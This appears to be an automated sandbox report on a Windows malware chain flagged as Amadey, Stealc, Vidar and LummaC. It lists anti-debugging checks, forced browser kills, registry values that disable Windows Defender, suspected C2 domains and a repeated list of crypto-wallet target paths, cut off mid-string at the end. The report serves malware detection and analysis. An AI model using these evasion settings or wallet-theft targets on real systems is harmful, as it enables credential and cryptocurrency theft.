Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_051A0CAD rdtsc

0_2_051A0CAD

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF5B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_6BF5B1F7

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF873E0 LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_6BF873E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0029652B mov eax, dword ptr fs:[00000030h]		6_2_0029652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0029A302 mov eax, dword ptr fs:[00000030h]		6_2_0029A302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF5B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		9_2_6BF5B1F7
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF5B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		9_2_6BF5B66C

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 2288, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

LummaC encrypted strings found

Source: 45de1d3aba.exe	String found in binary or memory: p3ar11fter.sbs
Source: 45de1d3aba.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: 45de1d3aba.exe	String found in binary or memory: p10tgrace.sbs
Source: 45de1d3aba.exe	String found in binary or memory: peepburry828.sbs
Source: 45de1d3aba.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe "C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 9225ca0b64.exe, 0000000B.00000002.2693223034.0000000000232000.00000002.00000001.01000000.0000000B.sdmp, 9225ca0b64.exe, 00000020.00000000.2768376067.0000000000232000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe	Binary or memory string: OProgram Manager
Source: 45de1d3aba.exe, 45de1d3aba.exe, 00000007.00000002.2948873008.0000000000B36000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: #Program Manager
Source: firefox.exe, 0000002C.00000002.2956017904.00000009B77FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: file.exe, 00000000.00000002.1705936362.0000000000797000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1741074204.0000000000457000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1741292892.0000000000457000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: OProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0027D3E2 cpuid

6_2_0027D3E2

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0027CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0027CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002665E0 LookupAccountNameA,

6_2_002665E0

Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1705854887.00000000005A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2319290778.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1741195588.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1665128762.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1700594348.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1700487388.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1740995593.0000000000261000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 9225ca0b64.exe PID: 2124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9225ca0b64.exe PID: 7120, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000003.2700841413.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2949273914.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2533169769.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2948340376.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: baacd96df2.exe PID: 2288, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: baacd96df2.exe PID: 7936, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 